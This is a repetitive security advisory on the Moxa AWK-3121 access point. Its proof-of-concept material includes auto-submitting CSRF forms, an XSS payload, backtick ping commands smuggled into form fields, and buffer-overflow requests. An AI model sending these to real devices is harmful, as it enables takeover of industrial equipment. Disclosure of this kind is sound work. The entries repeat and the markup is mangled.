of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 11. It provides functionality so that an administrator can change the name of the device. However, the same functionality allows an attacker to execute XSS by injecting an XSS payload. The POST parameter "iw_board_deviceName" is susceptible to this injection. ------------------------------------------ [Additional Information] POC <html <body <form id="f" action="http://192.168.127.253/forms/iw_webSetParameters" method="POST" enctype="application/x-www-form-urlencoded" <input type="hidden" name="iw_board_deviceName" value="AWK<\/td');alert(1);//" / <input type="hidden" name="iw_board_deviceLocation" value="" / <input type="hidden" name="iw_board_deviceDescription" value="" / <input type="hidden" name="iw_board_deviceContactInfo" value="" / <input type="hidden" name="Submit" value="Submit" / <input type="hidden" name="bkpath" value="/sysinfo.asp " / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html ------------------------------------------ [Vulnerability Type] Cross Site Scripting (XSS) ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.9 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute a stored XSS on the device. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 12. It provides functionality so that an administrator can run scripts on the device to troubleshoot any issues. However, the same functionality allows an attacker to execute commands on the device. The POST parameter "iw_filename" is susceptible to buffer overflow. By crafting a packet that contains a string of 162 characters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/web_runScript HTTP/1.1 Cookie: Password508=071b1093656adca3510d5e32f69737ec ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_filename"; filename="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC" Content-Type: application/octet-stream ls -ltr ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_storage" tftp ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_serverip" `ping -c 3 192.168.127.101` ... 7e21a62f2905ca Content-Disposition: form-data; name="bkpath" /Troubleshooting.asp ... 7e21a62f2905ca-- ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 13. It provides functionality so that an administrator can run scripts on the device to troubleshoot any issues. However, the same functionality allows an attacker to execute commands on the device. The POST parameter "iw_filename" is susceptible to command injection via shell metacharacters. ------------------------------------------ [Additional Information] POC <html <body <script function submitRequest() { var formData = new FormData(); formData.append("iw_filename", ";`ping -c 9 192.168.127.103` ##"); formData.append("iw_storage", "tftp"); formData.append("iw_serverip", "192.168.1.101"); formData.append("bkpath", "/wireless_cert.asp?index=1"); // HTML file input, chosen by user formData.append("certFile1", "test.txt"); // JavaScript file-like object var content = '<a id="a"<b id="b"hey!</b</a'; // the body of the new file... var blob = new Blob([content], { type: "text/xml"}); formData.append("certFile", blob); var request = new XMLHttpRequest(); request.open("POST", "http://192.168.127.253/forms/web_certUpload"); request.send(formData); } </script <form action="#" <input type="submit" value="Submit request" onclick="submitRequest();" / </form </body </html ------------------------------------------ [VulnerabilityType Other] Command injection in web runscript functionality ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 14. It provides functionality so that an administrator can run scripts on the device to troubleshoot any issues. However, the same functionality allows an attacker to execute commands on the device. The POST parameter "iw_serverip" is susceptible to buffer overflow. By crafting a packet that contains a string of 480 characters, it is possible for an attacker to execute the attack. ------------------------------------------ [Additional Information] POC POST /forms/web_runScript HTTP/1.1 Cookie: Password508=c629f1b9d18c3d751da6d7b1fd43e628 ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_filename"; filename="XXXX" Content-Type: application/octet-stream ls -ltr ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_storage" tftp ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_serverip" AAAAAAAAAAAAAAAAAA (etc.) ... 7e21a62f2905ca Content-Disposition: form-data; name="bkpath" /Troubleshooting.asp ... 7e21a62f2905ca-- ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute the buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley

An issue was discovered on Moxa AWK-3121 1.14 devices. The Moxa AWK 3121 provides certfile upload functionality so that an administrator can upload a certificate file used for connecting to the wireless network. However, the same functionality allows an attacker to execute commands on the device. The POST parameter "iw_privatePass" is susceptible to this injection. By crafting a packet that contains shell metacharacters, it is possible for an attacker to execute the attack. Moxa AWK-3121 The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Moxa AWK-3121 is an industrial-grade wireless access point produced by Moxa Corporation of Taiwan, China. This vulnerability stems from the fact that the network system or product does not correctly filter special elements in the process of constructing executable commands from external input data. The device by default allows HTTP traffic thus providing an insecure communication mechanism for a user connecting to the web server. This allows an attacker to sniff the traffic easily and allows an attacker to compromise sensitive data such as credentials. ------------------------------------------ [VulnerabilityType Other] HTTP traffic by default ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can sniff the HTTP traffic passing between the user and the device by using a MITM attack such as ARP poisoning. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 2. It is intended that an administrator can download /systemlog.log (the system log). ------------------------------------------ [Additional Information] POC http://192.168.127.253//systemlog.log ------------------------------------------ [Vulnerability Type] Incorrect Access Control ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can navigate to URL and download the systemlog file without any authentication or authorization ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 3. The session cookie "Password508" does not have an HttpOnly flag. ------------------------------------------ [VulnerabilityType Other] Missing HttpOnly flag on session cookie ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can use cross-site scripting attack to access the session cookie "Password508" which can allow an attacker to login into the device. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 4. ------------------------------------------ [Additional Information] POC POST /forms/webSetPingTrace HTTP/1.1 Cookie: Password508=6d86219d9cca208c1085cce81fdd31f0 srvName=AAAAAA (etc.) EEEEEE&option=0&bkpath=%2Fping_trace.asp ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute a buffer overflow on the device ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 5. The device provides a Wi-Fi connection that is open and does not use any encryption mechanism by default. An administrator who uses the open wireless connection to set up the device can allow an attacker to sniff the traffic passing between the user's computer and the device. This can allow an attacker to steal the credentials passing over the HTTP connection as well as TELNET traffic. Also an attacker can MITM the response and infect a user's computer very easily as well. ------------------------------------------ [VulnerabilityType Other] Open WiFi Connection ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Device ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can monitor the Wifi channels using Kismet or some other opensource software and an wireless card in monitor mode and sniff all the traffic including HTTP traffic as well as SSH and Telnet traffic. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 6. It provides alert functionality so that an administrator can send emails to his/her account when there are changes to the device's network. ------------------------------------------ [Additional Information] POC POST /forms/web_SendTestEmail HTTP/1.1 Cookie: Password508=fab7f1d1efa604721aa70cf5a1ad163f server=server.mail.com&username=test&password=test&from=test@mail.com&to1=AAAAAAAAAA (etc.) ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute the buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 7. The device provides a web interface to allow an administrator to manage the device. ------------------------------------------ [Additional Information] POC to change name of the device <html <body <form id="f" action="http://192.168.127.253/forms/iw_webSetParameters" method="POST" enctype="application/x-www-form-urlencoded" <input type="hidden" name="iw_board_deviceName" value="AWK-ROMEO" / <input type="hidden" name="iw_board_deviceLocation" value="" / <input type="hidden" name="iw_board_deviceDescription" value="" / <input type="hidden" name="iw_board_deviceContactInfo" value="" / <input type="hidden" name="Submit" value="Submit" / <input type="hidden" name="bkpath" value="/sysinfo.asp " / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html <html <body <form id="f" action="http://192.168.127.253/forms/webSetMainRestart" method="GET" enctype="application/x-www-form-urlencoded" <input type="hidden" name="SaveValue" value="1" / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html ------------------------------------------ [Vulnerability Type] Cross Site Request Forgery (CSRF) ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can trick an administrator of the device to visit an attacker controlled page while connected to the network and thus trick to change the password or any other setting ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 8. ------------------------------------------ [Additional Information] POC POST /forms/webSetPingTrace HTTP/1.1 Cookie: Password508=e07f98b965bcc5abfe11c9c763b2d333 srvName=192.168.127.102;ping -c 8 192.168.127.101;##&option=0&bkpath=%2Fping_trace.asp ------------------------------------------ [VulnerabilityType Other] Command injection in Ping functionality ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 9. The device enables an unencrypted TELNET service by default. This allows an attacker who has been able to gain an MITM position to easily sniff the traffic between the device and the user. Also an attacker can easily connect to the TELNET daemon using the default credentials if they have not been changed by the user. ------------------------------------------ [VulnerabilityType Other] Insecure service Telnet enabled by default ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Telnet daemon ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can sniff the traffic passing between the device and user by using a MITM attack such as ARP poisoning ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 10. ------------------------------------------ [Additional Information] POC POST /forms/web_certUpload HTTP/1.1 Cookie: Password508=68abf30ef8176a4248320929e04df562 ... 114782935826962 Content-Disposition: form-data; name="iw_privatePass" ;`ping -c 9 192.168.127.103` ## ... 114782935826962 Content-Disposition: form-data; name="bkpath" /wireless_cert.asp?index=1 ... 114782935826962 Content-Disposition: form-data; name="certSection" certWlan ... 114782935826962 Content-Disposition: form-data; name="rfindex" 0 ... 114782935826962 Content-Disposition: form-data; name="Submit" Submit ... 114782935826962 Content-Disposition: form-data; name="certFile1" test.txt ... 114782935826962 Content-Disposition: form-data; name="certFile"; filename="blob" Content-Type: text/xml <a id="a"<b id="b"hey!</b</a ... 114782935826962-- ------------------------------------------ [VulnerabilityType Other] Command injection in file upload ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 11. ------------------------------------------ [Additional Information] POC <html <body <form id="f" action="http://192.168.127.253/forms/iw_webSetParameters" method="POST" enctype="application/x-www-form-urlencoded" <input type="hidden" name="iw_board_deviceName" value="AWK<\/td');alert(1);//" / <input type="hidden" name="iw_board_deviceLocation" value="" / <input type="hidden" name="iw_board_deviceDescription" value="" / <input type="hidden" name="iw_board_deviceContactInfo" value="" / <input type="hidden" name="Submit" value="Submit" / <input type="hidden" name="bkpath" value="/sysinfo.asp " / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html ------------------------------------------ [Vulnerability Type] Cross Site Scripting (XSS) ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.9 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute a stored XSS on the device. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 12. ------------------------------------------ [Additional Information] POC POST /forms/web_runScript HTTP/1.1 Cookie: Password508=071b1093656adca3510d5e32f69737ec ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_filename"; filename="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC" Content-Type: application/octet-stream ls -ltr ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_storage" tftp ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_serverip" `ping -c 3 192.168.127.101` ... 7e21a62f2905ca Content-Disposition: form-data; name="bkpath" /Troubleshooting.asp ... 7e21a62f2905ca-- ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 13. ------------------------------------------ [Additional Information] POC <html <body <script function submitRequest() { var formData = new FormData(); formData.append("iw_filename", ";`ping -c 9 192.168.127.103` ##"); formData.append("iw_storage", "tftp"); formData.append("iw_serverip", "192.168.1.101"); formData.append("bkpath", "/wireless_cert.asp?index=1"); // HTML file input, chosen by user formData.append("certFile1", "test.txt"); // JavaScript file-like object var content = '<a id="a"<b id="b"hey!</b</a'; // the body of the new file... var blob = new Blob([content], { type: "text/xml"}); formData.append("certFile", blob); var request = new XMLHttpRequest(); request.open("POST", "http://192.168.127.253/forms/web_certUpload"); request.send(formData); } </script <form action="#" <input type="submit" value="Submit request" onclick="submitRequest();" / </form </body </html ------------------------------------------ [VulnerabilityType Other] Command injection in web runscript functionality ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 14. ------------------------------------------ [Additional Information] POC POST /forms/web_runScript HTTP/1.1 Cookie: Password508=c629f1b9d18c3d751da6d7b1fd43e628 ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_filename"; filename="XXXX" Content-Type: application/octet-stream ls -ltr ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_storage" tftp ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_serverip" AAAAAAAAAAAAAAAAAA (etc.) ... 7e21a62f2905ca Content-Disposition: form-data; name="bkpath" /Troubleshooting.asp ... 7e21a62f2905ca-- ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute the buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley

An issue was discovered on Moxa AWK-3121 1.14 devices. It provides alert functionality so that an administrator can send emails to his/her account when there are changes to the device's network. However, the same functionality allows an attacker to execute commands on the device. The POST parameters "to1,to2,to3,to4" are all susceptible to buffer overflow. By crafting a packet that contains a string of 678 characters, it is possible for an attacker to execute the attack. Moxa AWK-3121 The device contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Moxa AWK-3121 is an industrial-grade wireless access point produced by Moxa Corporation of Taiwan, China. A buffer error vulnerability exists in Moxa AWK-3121 version 1.14. This vulnerability stems from the incorrect verification of data boundaries when the network system or product performs operations on the memory, resulting in incorrect read and write operations to other associated memory locations. The device by default allows HTTP traffic thus providing an insecure communication mechanism for a user connecting to the web server. This allows an attacker to sniff the traffic easily and allows an attacker to compromise sensitive data such as credentials. ------------------------------------------ [VulnerabilityType Other] HTTP traffic by default ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can sniff the HTTP traffic passing between the user and the device by using a MITM attack such as ARP poisoning. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 2. It is intended that an administrator can download /systemlog.log (the system log). ------------------------------------------ [Additional Information] POC http://192.168.127.253//systemlog.log ------------------------------------------ [Vulnerability Type] Incorrect Access Control ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can navigate to URL and download the systemlog file without any authentication or authorization ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 3. The session cookie "Password508" does not have an HttpOnly flag. ------------------------------------------ [VulnerabilityType Other] Missing HttpOnly flag on session cookie ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can use cross-site scripting attack to access the session cookie "Password508" which can allow an attacker to login into the device. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 4. ------------------------------------------ [Additional Information] POC POST /forms/webSetPingTrace HTTP/1.1 Cookie: Password508=6d86219d9cca208c1085cce81fdd31f0 srvName=AAAAAA (etc.) EEEEEE&option=0&bkpath=%2Fping_trace.asp ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute a buffer overflow on the device ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 5. The device provides a Wi-Fi connection that is open and does not use any encryption mechanism by default. An administrator who uses the open wireless connection to set up the device can allow an attacker to sniff the traffic passing between the user's computer and the device. This can allow an attacker to steal the credentials passing over the HTTP connection as well as TELNET traffic. Also an attacker can MITM the response and infect a user's computer very easily as well. ------------------------------------------ [VulnerabilityType Other] Open WiFi Connection ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Device ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can monitor the Wifi channels using Kismet or some other opensource software and an wireless card in monitor mode and sniff all the traffic including HTTP traffic as well as SSH and Telnet traffic. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 6. ------------------------------------------ [Additional Information] POC POST /forms/web_SendTestEmail HTTP/1.1 Cookie: Password508=fab7f1d1efa604721aa70cf5a1ad163f server=server.mail.com&username=test&password=test&from=test@mail.com&to1=AAAAAAAAAA (etc.) ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute the buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 7. The device provides a web interface to allow an administrator to manage the device. ------------------------------------------ [Additional Information] POC to change name of the device <html <body <form id="f" action="http://192.168.127.253/forms/iw_webSetParameters" method="POST" enctype="application/x-www-form-urlencoded" <input type="hidden" name="iw_board_deviceName" value="AWK-ROMEO" / <input type="hidden" name="iw_board_deviceLocation" value="" / <input type="hidden" name="iw_board_deviceDescription" value="" / <input type="hidden" name="iw_board_deviceContactInfo" value="" / <input type="hidden" name="Submit" value="Submit" / <input type="hidden" name="bkpath" value="/sysinfo.asp " / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html <html <body <form id="f" action="http://192.168.127.253/forms/webSetMainRestart" method="GET" enctype="application/x-www-form-urlencoded" <input type="hidden" name="SaveValue" value="1" / </form <script setTimeout("document.forms['f'].submit();",1); </script </body </html ------------------------------------------ [Vulnerability Type] Cross Site Request Forgery (CSRF) ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can trick an administrator of the device to visit an attacker controlled page while connected to the network and thus trick to change the password or any other setting ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 8. The Moxa AWK 3121 provides ping functionality so that an administrator can execute ICMP calls to check if the network is working correctly. ------------------------------------------ [Additional Information] POC POST /forms/webSetPingTrace HTTP/1.1 Cookie: Password508=e07f98b965bcc5abfe11c9c763b2d333 srvName=192.168.127.102;ping -c 8 192.168.127.101;##&option=0&bkpath=%2Fping_trace.asp ------------------------------------------ [VulnerabilityType Other] Command injection in Ping functionality ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK 3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 9. The device enables an unencrypted TELNET service by default. This allows an attacker who has been able to gain an MITM position to easily sniff the traffic between the device and the user. Also an attacker can easily connect to the TELNET daemon using the default credentials if they have not been changed by the user. ------------------------------------------ [VulnerabilityType Other] Insecure service Telnet enabled by default ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Telnet daemon ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can sniff the traffic passing between the device and user by using a MITM attack such as ARP poisoning ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 10. The Moxa AWK 3121 provides certfile upload functionality so that an administrator can upload a certificate file used for connecting to the wireless network. ------------------------------------------ [Additional Information] POC POST /forms/web_certUpload HTTP/1.1 Cookie: Password508=68abf30ef8176a4248320929e04df562 ... 114782935826962 Content-Disposition: form-data; name="iw_privatePass" ;`ping -c 9 192.168.127.103` ## ... 114782935826962 Content-Disposition: form-data; name="bkpath" /wireless_cert.asp?index=1 ... 114782935826962 Content-Disposition: form-data; name="certSection" certWlan ... 114782935826962 Content-Disposition: form-data; name="rfindex" 0 ... 114782935826962 Content-Disposition: form-data; name="Submit" Submit ... 114782935826962 Content-Disposition: form-data; name="certFile1" test.txt ... 114782935826962 Content-Disposition: form-data; name="certFile"; filename="blob" Content-Type: text/xml <a id="a"<b id="b"hey!</b</a ... 114782935826962-- ------------------------------------------ [VulnerabilityType Other] Command injection in file upload ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack 